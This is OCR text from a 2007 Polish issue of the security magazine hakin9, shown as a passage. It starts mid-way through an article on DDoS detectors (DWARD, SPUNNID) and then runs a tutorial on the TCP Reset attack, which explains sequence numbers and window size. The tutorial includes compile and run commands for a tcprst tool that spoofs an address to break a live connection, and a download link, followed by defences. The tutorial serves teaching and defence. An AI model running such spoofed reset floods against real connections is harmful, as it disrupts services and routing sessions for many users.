te. Dla TCP dodatkowo wykorzysty-
wane są jeszcze stosunki ilościowe
pakietów TCP z flagami SYN i ACK.
Dla ICMP porównywane są np: sto-
sunek ilości ICMP echo i reply. Pro-
tokół UDP nie posiada tak moc-
nej korelacji dwukierunkowej, wiele
aplikacji wysyła datagramy UDP do
odbiorcy bez potwierdzenia. Dlate-
go tutaj dobrano dwie wartości gra-
niczne. Jedna z nich określa mak-
symalną ilość adresów źródłowych
a druga minimalną ilość pakietów
dla danego /emphagflow. Po prze-
kroczeniu obu wartości ruch klasyfi-
kowany jest jako atak.

Podobną metodę wykorzystano

dla agregacji connection. Wyróżnio-
ne są trzy klasy połączeń. Good, Bad
oraz Transient. Moduł obserwacyjny
dla każdej agregacji typu connection
przydziela odpowiednią klasę. Dla

TCP stosowane są podobne meto-
dy klasyfikacji co dla agflow, jednak
z uwzględnieniem specyfiki połącze-
niowości. Przykładowo po wysłaniu
pakietu z flagą SYN i otrzymaniu SY-
N+ACK dane połączenie jest klasyfi-
kowane jako Transient. Dla ICMP w
ogóle nie buduje się agregacji con-
nection ze względu na bezpołącze-
niowość protokołu. Dla UDP nato-
miast zdefiniowanych zostało sze-
reg klas ruchu w zależności od pro-
tokołów, takich jak: DNS, NTP, multi-
media streaming, VoIP, NFS, aplika-
cje typu czat oraz gry sieciowe. Dla
każdej z tych klas są ściśle określo-
ne reguły dotyczące normalności
ruchu. DWARD umożliwia jeszcze
przewidywanie kolejnych numerów
sekwencyjnych dla danego połącze-
nia i w przypadku, gdy są one rażąco
inne stosuje ograniczanie ruchu dla
takich połączeń.

Dla tak zdefiniowanego i spriory-

tyzowanego ruchu (zarówno agre-
gacje agflow jak i connection) wyli-
czane są współczynniki opóźnienia
tak aby pasmo zajmowane przez
atakującego (oraz ilość wysłanych
pakietów) były jak najmniejsze. Ste-
rowanie całym ruchem przypomina
trochę to znane z TCP. W przypad-
ku wykrycia ataku następuje gwał-
towne przycięcie pasma dla dane-
go połączenia (agregacja connec-
tion) lub adresu IP (agregacja ag-
flow). Przy zmianie statusu ruchu na
przejściowy lub poprawny następu-
je powolne zwiększanie dostępne-

go pasma. Polityka przydziału pa-
sma zależy też od sposobu w jaki
reaguje ruch. Jeśli jest on bardziej
elastyczny i ilość przesyłanych pa-
kietów dopasowuje się do nałożo-
nych limitów pasma, to taki ruch bę-
dzie szybciej je odzyskiwał niż taki,
który mimo nałożonych limitów cią-
gle próbuje wysyłać znacznie więk-
sze ilości pakietów. W przypadku
wykrycia ataku, gwałtowność spad-
ku przydzielonego pasma zależy nie
tylko od tego jak bardzo naruszono
granice zdefiniowane przez normal-
ny ruch, ale także od tego, jak dłu-
go ten ruch był zaklasyfikowany ja-
ko poprawny.

DWARD jest bardzo ciekawym

i dość skutecznym rozwiązaniem.
Większość ataków wykryta została
w przeciągu 4 sekund przy fałszy-
wych alarmach nie przekraczają-
cych 0.01% i jednoczesnym pozio-
mie wykrywalności przekraczającym
98%. Umieszczenie detektora blisko
źródła ataków daje dużą skutecz-
ność wykrycia źródła ataku. Proble-
matyczne są jednak masowe ataki
DoS, które wyglądają jak zwyczajny
ruch TCP. Atakujący może również
próbować generować taki ruch, któ-
ry jest minimalnie poniżej parame-
trów będących wyzwalaczami ataku.
DWARD do działania potrzebuje tak-
że aby dane pakiety wracały tą sa-
mą drogą, którą przybyły, ponieważ
większość analiz dotyczy stosunku
ilości ruchu przychodzącego do wy-
chodzącego. Dużą zaletą systemu
są jego niewielkie wymagania doty-
czące wydajności.

SPUNNID

SPUNNID jest jednym z wielu sys-
temów detekcji DDoS bazujących
na sieciach neuronowych. Opie-
ra się on na nienadzorowanej sieci
ART (Adaptive Resonanse Theory).
Nienadzorowana oznacza, że jest
ona karmiona tylko pewnymi dany-
mi wejściowymi bez dodatkowych,
uprzednio przygotowanych danych
kontrolnych, mówiących o pew-
nej specyfice (bądź kategorii) tych
danych wejściowych. W praktyce
oznacza to, że taka sieć może sama
kategoryzować ruch sieciowy, po-

Rysunek 9.

Sieć ART1

ATTENTIONAL

SUBSYSTEM

ORIENTING

SUBSYSTEM

STM F1

DIPOLE FIELD

STM F2

GAIN

CONTROL

GAIN

CONTROL

INPUT

PATTERN

STM

RESET

WAVE

–

hakin9 Nr 2/2007

www.hakin9.org

Atak

dzielić go na klastry, z których każ-
dy będzie zawierał tylko ten o kon-
kretnej specyfice - zgodnie z eks-
trapolowanym zbiorem cech. Same
sieci ART posiadają wiele zalet, któ-
re można wykorzystać do rozwiąza-
nia problemów ataków DDoS. Po
pierwsze parametr czujności - vigi-
lance, za pomocą którego można
kontrolować poziom precyzji ucze-
nia sieci i w efekcie jak wiele kla-
strów powstanie. Ponadto są one
dość stabilne - nie zdarza się, aby
jeden wektor testowy zostawał przy-
porządkowany raz do jednego kla-
stra, raz do innego. Nie ważne w ja-
kiej kolejności wektory testowe bę-
dą podawane na wejście - i tak każ-
dy z nich zostanie zaklasyfikowany
do tego samego klastra. Są również
dość plastyczne - co daje zdolność
uczenia się nowych wektorów w ta-
kim samym stopniu w każdym eta-
pie trenowania.

Algorytm dla sieci ART jest dość

prosty. W pierwszym etapie nastę-
puje inicjalizacja wektorów wzorco-
wych sieci (wag) oraz parametru vi-
gilance, który mieści się w przedzia-
le (0,1). Kolejna faza to trenowanie
sieci, podczas której podaje się na
jej wejście kolejne wektory trenu-
jące. Dla każdego takiego wekto-
ra trenującego znajdywany jest naj-
bardziej podobny wektor wzorco-
wy. Następnie sprawdzany jest po-
ziom zróżnicowania pomiędzy obo-
ma wektorami. Jeśli jest większy niż
zdefiniowany przez parametr vigi-
lance, to tworzony jest kolejny wek-
tor wzorcowy symbolizujący po-
wstanie nowego klastra. Jeśli nie,
to wektor trenujący jest klasyfikowa-
ny jako należący do klastra "najbar-
dziej podobnego" wektora wzorco-
wego. W takim wypadku odpowia-
dający mu wektor wzorcowy jest od-
powiednio modyfikowany, aby le-
piej się dopasować do wektora tre-
nującego. Dopuszcza się też mo-
dyfikację pozostałych wektorów te-
stowych, aby oddalić je od wekto-
ra trenującego. Dla parametru vi-
gilance równego 1 wymagane jest
100% dopasowanie więc powstanie
tyle klastrów, ile jest wektorów tre-
nujących. Dla wartości równej 0 po-

wstanie tylko jeden klaster. Wybie-
ra się go tak, aby otrzymać wyma-
ganą liczbę klastrów. W ten sposób
z bardzo dużym przybliżeniem dzia-
łają sieci ART9.

Praktyczne realizacje oparte na

ART-1 składają się z dwóch warstw
F1 i F2. W warstwie F2 aktywowa-
ny jest tylko jeden bit odpowiadają-
cy najlepiej dopasowanemu wzor-
cowi. Część sieci zwana Attentio-
nal subsystem odpowiada za re-
akcje na znane wektory wejściowe
oraz dopasowywanie już istnieją-
cych wektorów wzorcowych. Buduje
ona wektor oczekiwań - top-down,
łączący warstwę F2 z F1 i poma-
gający stabilizować pracę sieci10.
Jednak Attentional subsystem nie
jest w stanie plastycznie reagować
na wektory nowego typu. Do te-
go służy Orienting subsystem, któ-
ra ma na celu wyliczenie podobień-
stwa między wektorem trenującym
a wzorcowym i w przypadku za du-
żej różnicy wstawienie nowego wek-
tora wzorcowego. Więcej o sieciach
ART w [14][15].

SPUNNID bazuje na zaprojek-

towaniu takiej sieci ART-1, dla któ-
rej powstają trzy klastry opisujące
ruch11. Może to być ruch normalny,
znany atak DDoS lub nowy, niezna-
ny atak. W celu wytrenowania takiej
sieci należy z wychwyconych pakie-
tów ekstrapolować zespół cech, któ-
re następnie są przekształcane w
odpowiednio znormalizowany binar-
ny wektor trenujący (a potem, pod-
czas wykrywania wektor testujący).
W tym celu ustala się okno czaso-
we T, podczas którego wychwytywa-
ne się wszystkie pakiety, dla których
wyliczane są cechy, po czym poda-
je się odpowiedni wektor na wejście
ART-1. Wzięto pod uwagę następu-
jące cechy: procentowy udział w ca-
łym ruchu pakietów TCP, UDP, ICMP,
procentowy udział w ruchu TCP pa-
kietów z flagami SYN, SYN+ACK,
ACK, średni rozmiar nagłówka oraz
średni rozmiar danych.

Podczas niektórych testów sieć

SPUNNID okazała się dość efek-
tywna, osiągając skuteczność wy-
krywania ataków DoS na pozio-
mie 90% przy bardzo niskim współ-

czynniku fałszywych alarmów. Wa-
dą rozwiązań opartych na sieciach
neuronowych jest to, że wymaga-
ją one ciągłego uczenia, im więk-
szy i bardziej pełny zestaw wek-
torów trenujących, tym lepiej dzia-
ła sieć. Zaletą rozwiązania SPUN-
NID jest relatywnie niski nakład wy-
maganych obliczeń w porównaniu
do innych rozwiązań opartych na
sieciach neuronowych. Nie wyma-
ga się tutaj pełnej analizy każde-
go połączenia TCP, a jedynie zbie-
ra pewien zestaw statystyk. Dlate-
go zaleca się jej umiejscowienie bli-
sko celu ataku.

Podsumowanie

Ataki typu DoS ewoluują nieustan-
nie. Nowoczesne DDoS ciągle ba-
zują na mechanizmach sprzed 10
lat, jednak masowość i ilość uży-
wanych do ataku komputerów czy-
nią je coraz groźniejszymi. W ostat-
nim czasie zaczynają pojawiać się
sieci liczące nawet setki tysiące
komputerów, co pozwala na prak-
tycznie bezkarne blokowanie ata-
kami DoS każdego większego ser-
wera. Jednocześnie wykorzystywa-
ne są coraz skuteczniejsze metody
ataków - chociażby te związane z
protokołem DNS i jego rozszerze-
niami. Niestety większość używa-
nych powszechnie protokołów nie
była projektowana z myślą o bez-
pieczeństwie. Nawet te zaprojekto-
wane niedawno jak ipv6 posiadają
wiele słabych punktów, które z pew-
nością będą nadal wykorzystywane
przez atakujących. Z drugiej stro-
ny pojawia się coraz więcej syste-
mów służących detekcji, namierza-
niu i unikaniu atakom. Są to zazwy-
czaj systemy specjalizowane. Sku-
teczna obrona przed DoS wiąże się
z kompleksowymi działaniami zwią-
zanymi z instalacją takich syste-
mów na masową skalę. Wszystko
wskazuje na to, że skala ataków i
straty z nich wynikające będą stop-
niowo zmuszać administratorów
sieci oraz operatów ISP do coraz
bardziej zdecydowanych działań
zmierzających do zmniejszenia ta-
kich zagrożeń. Na ile będę one sku-
teczne ? Czas pokaże. l

www.hakin9.org

hakin9 Nr 2/2007

Atak

agrożenia związane z możliwością
przechwycenia sesji TCP (Transmis-

sion Control Protocol) były znane spe-

cjalistom bezpieczeństwa sieciowego od wie-
lu lat. Oryginalna specyfikacja protokołu TCP
zawiera rozwiązanie umożliwiające popraw-
ną transmisję pakietów odbieranych w loso-
wej kolejności oraz jednoczesne odrzuca-
nie duplikatów. Dodatkowo chroni transmisję
przed atakiem wstrzyknięcia danych (ang.

injection). Numery sekwencyjne zawarte w
każdym nagłówku TCP przenoszą informa-
cje o kolejności, w jakiej otrzymywane dane
powinny być ze sobą łączone. Jednocześnie
mają zapewniać bezpieczeństwo strumienia
danych TCP. Chociaż świadomość związa-
nego z nimi potencjalnego zagrożenia istnia-
ła od wielu lat, niewiele zrobiono, aby je wy-
eliminować i jeszcze mniej na ten temat na-
pisano.

Ataki oparte na numerach sekwencyjnych

TCP wykorzystywały słabości w generowa-
niu pseudolosowych numerów, którymi po-
sługuje się podczas nawiązywania połącze-
nia. Wczesne implementacje stosów TCP w
przypadku większości systemów nie mogły
pochwalić się odpowiednio dobrą losowością

numerów sekwencyjnych. Fakt ten umożliwiał
odgadnięcie inicjującego numeru sekwencyj-
nego (Initial Sequence Number) w bardzo
krótkim czasie. Znanym przykładem wyko-
rzystania słabej losowości numerów sekwen-
cyjnych był atak przeprowadzony na kompu-
ter Tsutomu Shimomury przez Kevina Mitnic-
ka w 1994 roku.

Z biegiem czasu algorytmy generujące lo-

sowe numery stawały się coraz lepsze i wio-
dące systemy operacyjne (nawet Windows,

Przecinanie kabla – atak

TCP Reset

Marcin Ulikowski

stopień trudności

Protokół TCP został stworzony prawie 30 lat temu, gdy duże

liczby naturalne wydawały się większe niż dzisiaj. Twórcy

protokołu, podobnie jak w przypadku kończącej się 32-bitowej

przestrzeni adresowej IP, nie przewidzieli, że taki sam rozmiar

pewnego pola w nagłówku TCP może stać się po wielu latach

problemem.

Z artykułu dowiesz się...

• z czego wynika słabość protokołu TCP,
• w jaki sposób przeprowadzić przykładowy atak

TCP Reset,

• jak zabezpieczyć system przed atakiem tego

rodzaju.

Co powinieneś wiedzieć...

• podstawowe informacje na temat protokołów

sieciowych i komunikacji w internecie,

• znajomość języka ANSI C będzie pomocna, ale

nie niezbędna.

Przecinanie kabla - atak TCP

hakin9 Nr 2/2007

www.hakin9.org

który wcześniej nie znał znaczenia
słowa „losowy”) mogły pochwalić się
znacznie większym poziomem bez-
pieczeństwa. Równocześnie z lep-
szymi algorytmami losującymi zwięk-
szała się także przepustowość Inter-
netu. Szybkie łącza stały się tańsze
i bardziej dostępne. Problem nume-
rów sekwencyjnych powrócił.

Nagłówek TCP

Protokół TCP należy do warstwy
transportowej modelu OSI i jest od-
powiedzialny za kontrolę przepływu
poprawności danych. Podstawo-
wy mechanizm protokołu zakłada
konieczność potwierdzenia przez
odbiorcę wszystkich otrzymanych
segmentów TCP. Nadawca wysyła
pewną porcję danych. Gdy nadejdzie
potwierdzenie od odbiorcy, nadaw-
ca może wysłać następną porcję
danych. Gdy odbiorca sygnalizuje
błędy lub nie wyśle potwierdzenia,
następuje retransmisja wszystkich
danych, począwszy od pierwszego
niepotwierdzonego segmentu. Ana-
lizując nagłówek TCP skupimy się
tylko na tych elementach, których
znajomość jest kluczowa do zro-
zumienia idei działania ataku TCP
Reset.

Numer sekwencyjny

Gdy strumień danych zostaje po-
dzielony na pakiety, mogą one do-
trzeć do odbiorcy w nieprawidłowej
kolejności, na przykład wskutek
przeciążenia sieci. Numer sekwen-
cyjny o długości 32 bitów pełni rolę
identyfikatora dla każdego wysyła-
nego pakietu, dzięki czemu strumień

danych może zostać poprawnie
złożony w całość po drugiej stronie.
Identyfikatory pakietów nie mogą
zaczynać się od liczby 0 ani żadnej
innej stałej wartości. Musi to być
możliwie najlepsza losowa liczba,
aby umożliwić przeprowadzenie po-
prawnej transmisji, która nie zostanie
zakłócona.

Okno

Rozmiar okna (ang. window) odzwier-
ciedla maksymalną liczbę pakietów
(oraz buforowanych danych), które
mogą być wysłane bez konieczności
oczekiwania na pozytywną odpo-
wiedź. Duże okna TCP poprawiają
wydajność protokołu TCP/IP pod-
czas przesyłania dużej ilości danych
między nadawcą i odbiorcą. Zbyt du-
ży rozmiar okna powoduje większe
zużycie pamięci i dłuższą ponowną
retransmisję w razie utraty pakietów.
Natomiast zbyt mały rozmiar okna
obniża szybkość transmisji wydłuża-
jąc czas potrzebny na oczekiwanie
potwierdzenia. W typowym połącze-

niu TCP maksymalny rozmiar okna
jest ustalany na początku połącze-
nia i jest ograniczony do 64kB, co
wynika z 16-bitowej długości tego
pola. Po otrzymaniu wszystkich pa-
kietów mieszczących się w oknie,
host może odesłać pakiet z zerowym
rozmiarem okna, informując drugą
stronę połączenia, aby wstrzymała
na moment wysyłanie kolejnych
pakietów.

Każda implementacja stosu TCP

dla systemów operacyjnych czy
urządzeń sieciowych ma zdefinio-
waną własną wielkość okna ustalaną
podczas nawiązywania połączenia.
Rozmiar może się zmieniać dyna-
micznie podczas transmisji (na przy-
kład zmniejszyć jeśli duża część
pakietów nie dociera do odbiorcy).
Bardzo pomocna będzie Tabela 1,
która zawiera początkowe rozmiary
okna dla popularnych systemów.

Flagi

Nagłówek pakietu TCP może zawie-
rać sześć bitów kontrolnych (SYN,

Rysunek 1.

Nagłówek TCP, nazwy omawianych pól mają kolor czerwony

Jeszcze większe okna

Dokument RFC-793 z 1981 roku okre-
śla maksymalny rozmiar okna TCP jako
64kB. Jest to mało, jak na dzisiejsze
łącza. Dlatego nowszy dokument RFC-
1323 z 1992 roku wprowadza rozsze-
rzenie do protokołu o nazwie Window
Scaling, które umożliwia zwiększenie
rozmiaru okna nawet do 1GB. Wymaga
to umieszczenia dodatkowej opcji pod
nagłówkiem TCP. Większe okno ozna-
cza zwiększoną szybkość transmisji na
łączach o dużej przepustowości.

Tabela 1.

Początkowy rozmiar okna w zależności od systemu operacyjnego

System operacyjny

Początkowy rozmiar okna

Linux 2.4 - 2.6

5840

Linux 2.2

16384, 32768

Linux 2.0.3x

512, 16384

Windows XP

16384, 64240

Windows 2000

16384, 64512

Windows 2003

65535

Windows 9x, NT 4

8192

FreeBSD 5x, 6x

65535

hakin9 Nr 2/2007

www.hakin9.org

Atak

ACK, PSH, URG, RST oraz FIN)
zwanych flagami. Określają one, co
zawiera pakiet i jaką spełnia funkcję
podczas transmisji. Z naszego punk-
tu widzenia najbardziej interesujące
są trzy z nich: SYN, ACK i RST. Fla-
ga SYN (synchronize) jest wysyłana
razem z pakietem nawiązującym
połączenie. Dołączany jest do niej
losowy numer sekwencyjny (ISN).
Druga strona odsyła własny pakiet
z ustawionymi flagami SYN+ACK.
Wysyła także własny losowy nu-
mer sekwencyjny (ISN) oraz numer
potwierdzenia

(acknowledgment),

który odpowiada otrzymanemu
wcześniej

ISN

zwiększonemu

o jeden. Jeśli strona próbująca na-
wiązać połączenie otrzyma pakiet
i dokona pozytywnej weryfikacji nu-
meru potwierdzenia (polegającej na

sprawdzeniu czy otrzymany numer
potwierdzenia jest równy wysłanemu
wcześniej ISN plus jeden), może wy-
słać pakiet z flagą ACK. Jeśli numer
potwierdzenia w trzecim pakiecie jest
równy ISN+1 z pakietu poprzedniego
to oznacza, że połączenie zostało
nawiązane. Teraz dane mogą być
wysyłane w obu kierunkach. Każdy
kolejny pakiet będzie miał zwiększo-
ny numer sekwencyjny. Aby natych-
miast zerwać połączenie wystarczy
wysłać pakiet z ustawioną flagą RST
(reset) lub RST+ACK, jeśli chcemy
otrzymać potwierdzenie.

Porty

Nagłówek TCP zawiera dwa 16-
bitowe pola w których występują
informacje na temat portu źródłowe-
go i portu docelowego. Komputery

podłączone do sieci komunikują się
ze światem zewnętrznym przez
porty, które pozwalają zarówno na
wysyłanie, jak i odbieranie danych.
Porty umożliwiają identyfikację kon-
kretnego połączenia oraz pozwalają
ustalić, które pakiety przesyłane są
w jego zakresie. Z tego powodu dwa
połączenia wychodzące nie mogą
wykorzystywać tego samego portu
źródłowego.

Kiedy chcemy nawiązać połą-

czenie z konkretną usługą na innym
komputerze, na przykład SSH, nu-
mer portu docelowego w pakiecie
SYN będzie miał wartość 22 (jest to
domyślny numer portu dla tej usłu-
gi, chociaż może być inny). Zwy-
kle mamy możliwość wyboru portu,
na jaki chcemy się połączyć, ponie-
waż aplikacja udostępnia taką moż-
liwość. Port źródłowy ustalany jest
przez system operacyjny (aczkol-
wiek możliwe jest, aby wyboru do-
konała aplikacja). Zwykle jest to ko-
lejny wolny numer. Nie jest on wy-
bierany, jak mogłoby się wydawać,
z pełnej puli 65536 portów. Część z
nich jest zarezerwowana dla uprzy-
wilejowanych procesów (najczę-
ściej pierwsze 1024) oraz dla funkcji

Losowe porty

Większość systemów operacyjnych
i urządzeń sieciowych wybierając port
źródłowy dla tworzonego połączenia
korzysta z kolejnego wolnego. Wy-
jątkiem jest OpenBSD, który losuje
porty ze zbioru nieużywanych przez
inne połączenia. Twórcy tego systemu
bardzo duży nacisk kładą na jego bez-
pieczeństwo. W przypadku systemu
Linux, podobną funkcję oferuje łatka
grsecurity.

Tabela 2.

Numery pierwszych dostępnych dla połączeń portów źródłowych

System operacyjny

Pierwszy dostępny port TCP

Linux 2.4.x

1024

Windows XP (SP1, SP2)

1050

Windows 2000 SP3

1060

Windows 2000 SP4

1038

*BSD

1024

Atak z flagą SYN

Zamiast flagi RST możemy z powo-
dzeniem wykorzystać flagę SYN do
przerwania połączenia. Większość im-
plementacji stosu TCP odpowie wysy-
łając pakiet z ustawioną flagą RST oraz
właściwym numerem sekwencyjnym,
powodując zakończenie transmisji.
W ten sposób prowokujemy jedną ze
stron do przerwania połączenia.

Rysunek 2.

Nawiązywanie połączenia TCP, tzw. three-way handshake

Host A

ISN = A, ACK = 0

SYN

Host B

Host A

ISN = B, ACK = A + 1

SYN+ACK

Host B

Host A

SEQ = A + 1, ACK = B + 1

ACK

Host B

Przecinanie kabla - atak TCP

hakin9 Nr 2/2007

www.hakin9.org

systemowych jak na przykład trans-
lacji adresów (w tym przypadku od
49152 do 65535).

Podobnie jak w przypadku począt-

kowego rozmiaru okna, poszczególne
implementacje stosu TCP różnią się
pod względem ilości portów zare-
zerwowanych dla uprzywilejowanych
procesów. Tabela 2 przedstawia nu-
mery pierwszych dostępnych do użyt-
ku portów w przypadku popularnych
systemów operacyjnych.

Przerywanie połączeń

Atak TCP Reset polega na zmu-
szeniu jednej ze stron do zerwania
połączenia podszywając się pod
adres drugiego komputera. Wy-
obraźmy sobie, że komputer A ma
nawiązane połączenie z kompute-
rem B. Trzeci komputer C chce ze-
rwać to połączenie. Wysyła w tym
tym celu do komputera A pakiet z
ustawioną flagą RST oraz z ad-
resem źródłowym należącym do
komputera B. Pakiet zawiera tak-
że porty - źródłowy i docelowy od-
powiadające atakowanemu połą-
czeniu oraz aktualnie obowiązują-
cy (czyli taki, który spodziewa się
otrzymać komputer A) numer se-
kwencyjny. Gdy komputer A otrzy-
ma ten pakiet, natychmiast zerwie
połączenie.

Głównym problemem jest od-

gadnięcie numeru sekwencyjne-
go, który zostanie zaakceptowa-
ny przez jedną ze stron połącze-
nia. Ponieważ numery sekwen-
cyjne mają długość 32 bitów, licz-
ba możliwych permutacji wynosi
4294967296, czyli ponad 4 miliardy.
Jeśli komputer C miałby zgadywać
numer sekwencyjny to jego szanse
powodzenia są znacznie mniejsze
niż szanse na główną wygraną w
popularnej grze liczbowej.

Atakujący może także wyko-

rzystać wszystkie możliwości, jed-
nak w najgorszym przypadku bę-
dzie to wymagało wysłania 160GB
danych, przy założeniu, że każdy
wysłany pakiet RST ma długość 40
bajtów. Czas potrzebny na wysłanie
takiej ilości danych przy użyciu łą-
cza DSL 1Mb/s wynosi około 2 ty-
godni. Połączenie między kompu-

terem A i B zostanie zakończone
w krótszym czasie w sposób natu-
ralny. Rozwiązaniem problemu jest
rozmiar okna w pakiecie TCP. Po-
nieważ rozmiar okna oznacza mak-
symalną ilość pakietów, na które
jedna ze stron nie musi odsyłać po-
twierdzenia, wystarczy wysłać pa-
kiet ze zbliżoną wartością numeru
sekwencyjnego (w zależności od
rozmiaru okna). System musi za-
akceptować pakiet z numerem se-
kwencyjnym różniącym się w gra-
nicy rozmiaru okna, ponieważ wie,
że dane mogą docierać w nieodpo-
wiedniej kolejności.

Na przykład, oczekiwanym nu-

merem sekwencyjnym jest SEQ i
rozmiar okna po stronie komputera
A wynosi 16384 bajtów. Teraz wy-
starczy, że atakujący komputer C
wyśle do A pakiet z numerem se-
kwencyjnym z przedziału od SEQ
do SEQ+16384-1 (przy założeniu,
że bufor dla okna komputera A jest
pusty, to znaczy nie otrzymał jeszcze
danych), aby został zaakceptowany.

Oznacza to, że łączna ilość da-

nych, które musimy wysłać maleje
do 10MB, ponieważ ilość pakietów
wynosi teraz 262144. W przypad-
ku większego rozmiaru okna, ilość
wysłanych danych będzie jeszcze
mniejsza. Zależność przedstawia
Tabela 3. Warto zauważyć, że po-
dane wartości odpowiadają najgor-
szemu scenariuszowi. W rzeczywi-
stości ilość potrzebnego czasu bę-
dzie średnio o połowę mniejsza. Po-
nadto, jeśli wykorzystywane będzie
rozszerzenie protokołu TCP Window

Scaling, ilość potrzebnych pakietów
zmniejszy się jeszcze bardziej. Teo-
retycznie, w przypadku największe-
go możliwego rozmiaru okna będą to
tylko 4 pakiety.

Przykładowy atak

Do przeprowadzenia własnego ata-
ku wykorzystamy gotowy program

tcprst.c, którego główna zaleta to
fakt, iż nie potrzebuje on żadnych
zewnętrznych bibliotek. Wykorzystu-
je gniazda typu RAW do wysyłania
pakietów. Do poprawnego działania
programu wymagane są najwyższe
uprawnienia oraz odpowiedni spo-
sób kompilacji:

# gcc -DNOSCRIPTKID -o tcprst tcprst.c

Nasze narzędzie jest gotowe do pra-
cy. Teraz musimy utworzyć przykła-
dowe połączenie, które następnie
przerwiemy. Do tego celu wykorzy-
stamy dwa komputery połączone w
sieci lokalnej z dostępem do Interne-
tu. Pierwszy o adresie 192.168.0.101
działa pod kontrolą Linuksa.

Rysunek 2.

Schemat ataku, w którym

komputer C przerywa połączenie

między komputerami A i B

Internet

RST

DST ADDR = A

SRC ADDR = B

Tabela 3.

Czas ataku w zależności od wielkości okna TCP przy użyciu łącza 1Mb/s

Rozmiar okna

Ilość danych [MB]

Potrzebny czas [s]

4096

320

8192

160

16384

32768

65535

2,5

hakin9 Nr 2/2007

www.hakin9.org

Atak

Wykorzystamy go do przeprowadze-
nia ataku. Drugi komputer o adresie
192.168.0.1 działa pod kontrolą sys-
temu Windows XP. Za jego pomocą
nawiążemy długotrwałe połączenie
z usługą HTTP na porcie 80:

C:\>netstat -n |find ":80"
TCP 192.168.0.1:1573
64.223.167.99:80
USTANOWIONO

Gdy znamy już parametry połącze-
nia, czyli adresy i porty, musimy zde-
cydować, którą stronę wykorzystać
do przerwania komunikacji. Zależy
nam na czasie potrzebnym do prze-
prowadzenia ataku, który będzie się
różnił w zależności od adresu wybra-
nego komputera. Czas ataku zależy
od przepustowości łącza między
nami (atakującym), a atakowanym
komputerem oraz rozmiaru okna
(czyli także od systemu operacyj-
nego) użytym przez komputer, do
którego będziemy wysyłać pakiety.
My wykorzystamy komputer z naszej
sieci lokalnej, ponieważ szybkość
połączenia będzie wielokrotnie
większa niż w przypadku komputera

64.223.167.99

oraz dlatego, że działa

pod kontrolą systemu z większym
rozmiarem okna (mniejsza liczba

pakietów do wysłania). Do identyfi-
kacji systemu operacyjnego (w celu
poznania początkowego rozmiaru
okna) możemy użyć skanera portów

nmap z opcją

-O

Kiedy już wybraliśmy adres kom-

putera, pozostaje nam uruchomienie

tcprst. Program wymaga czterech pa-
rametrów: adresu komputera pod któ-
ry się podszywamy (czyli adres źró-
dłowy, opcja

-S

), portu źródłowego z

którego korzysta ten komputer (para-
metr

-s 80

) oraz adresu i portu na któ-

ry zostaną wysłane pakiety RST. Ist-
nieje jeszcze możliwość określenia
rozmiaru okna przy pomocy dodatko-
wej, piątej opcji

-w

(domyślny rozmiar

to 16384). Ponieważ atakowany kom-
puter działa pod kontrolą Windows
XP, zgodnie z Tabelą 1 zdefiniujemy
rozmiar na 64000 bajtów:

# ./tcprst -S 64.223.167.99 -s 80 -D
192.168.0.1 -d 1573 -w 64000

Program informuje nas o postępach
wyświetlając licznik pakietów oraz
wysłane numery sekwencyjne. Po
zakończeniu lub jeszcze w trakcie
pracy na atakowanym komputerze
powinien wyświetlić się komunikat
podobny do tego pokazanego na Ry-
sunku 4. Dzięki dużej przepustowo-

ści sieci lokalnej, wszystkie pakiety
zostały wysłane w ciągu niecałych
trzech sekund.

Fakt, że przeprowadzony atak

zakończył się powodzeniem potwier-
dza także informacja pochodząca z
programu netstat na atakowanym
systemie:

C:\>netstat -n |find ":80"
TCP 192.168.0.1:1573
64.223.167.99:80
CZAS_OCZEKIWANIA

Zachęcam do zapoznania się z ko-
dem źródłowym naszego narzędzia.
Jest krótki i przejrzysty, co ułatwi
jego analizę i pozwoli zapoznać się
z atakiem od strony programowej.

Kto jest zagrożony

Ponieważ jest to wada protokołu
TCP, czyli kręgosłupa Internetu,
zagrożeni są wszyscy użytkownicy,
chociaż nie bezpośrednio. Szcze-
gólnie narażone są długotrwałe po-
łączenia, jak na przykład sesje TCP
wykorzystywane przez protokół BGP
(Border Gateway Protocol). Jego za-
daniem jest wykonywanie routingu
w sieciach pracujących z protokołem
TCP/IP. Sesje BGP są zdecydowa-
nie dłuższe i bardziej przewidywal-
ne, niż większość połączeń między
dwoma urządzeniami z publicznymi
adresami IP.

Rysunek 4.

Komunikat potwierdzający, że atak przebiegł pomyślnie

W Sieci

• http://elceef.itsec.pl/tcprst.c – na-

rzędzie użyte do przeprowadzenia
przykładowego ataku,

• http://www.takedown.com/coverage/

tsu-post.html – analiza włamania do
komputera Tsutomu Shimomury,

• http://www.faqs.org/rfcs/rfc1948.html

– RFC-1948, obrona przed atakami
na numery sekwencyjne,

• http://www.faqs.org/rfcs/rfc2827.html

– RFC-2827, obrona przed atakami
DoS z wykorzystaniem podszywania
pod adresy IP (spoofing),

• h t t p : / / w w w . f a q s . o r g / r f c s/

rfc2385.html – RFC-2385, ochrona
sesji BGP przez sygnatury MD5,

• http://www.ietf.org/rfc/rfc793.txt

– RFC-793, specyfikacja protokołu
TCP.

Rysunek 3.

Program tcprst podczas pracy

Przecinanie kabla - atak TCP

Zakłócenie komunikacji między

routerami wykorzystującymi ten
protokół będzie miało wpływ na wy-
dajność komunikacji w sieci dla wielu
użytkowników.

Metody obrony

Nie możemy poprawić samego pro-
tokołu, ale wykorzystać możliwości,
które już posiadamy - owszem.
Możemy podjąć próby zmniejszenia
domyślnego rozmiaru okna TCP, jed-
nak nie jest to zalecane rozwiązanie.
Zmniejszymy jedynie ryzyko ataku
kosztem szybkości połączeń. Po-
nadto nie ma gwarancji, że wszystkie
używane przez nas aplikacje będą
respektowały wprowadzone zmiany.

Filtrowanie

To najbardziej skuteczna meto-
da obrony. Atak TCP Reset opie-
ra się na możliwości podszycia pod

adres jednego z urządzeń. Route-
ry dostawców internetowych (ISP)
nie powinny przepuszczać pakie-
tów, których adresy źródłowe nie
należą do puli adresów ich sieci.
Oczywiście nie ograniczy to możli-
wości ataku z wewnątrz, ale jednak
jest najlepszym możliwym rozwią-
zaniem. Ponadto ograniczy to ata-
ki innego typu, jak na przykład atak
odmowy obsługi (Denial of Servi-

ce) polegający na wysyłaniu wielu
pakietów z losowym adresem źró-
dłowym. Wiele przydatnych wska-
zówek na ten temat zawiera doku-
ment RFC-2827.

Sygnatury MD5

dla połączeń BGP

Protokół BGP posiada obsługę cy-
frowego podpisu przy wykorzysta-
niu algorytmu szyfrowania MD5
(RFC-2385). Włączenie jej spowo-
duje, że każdy pakiet będzie zawie-
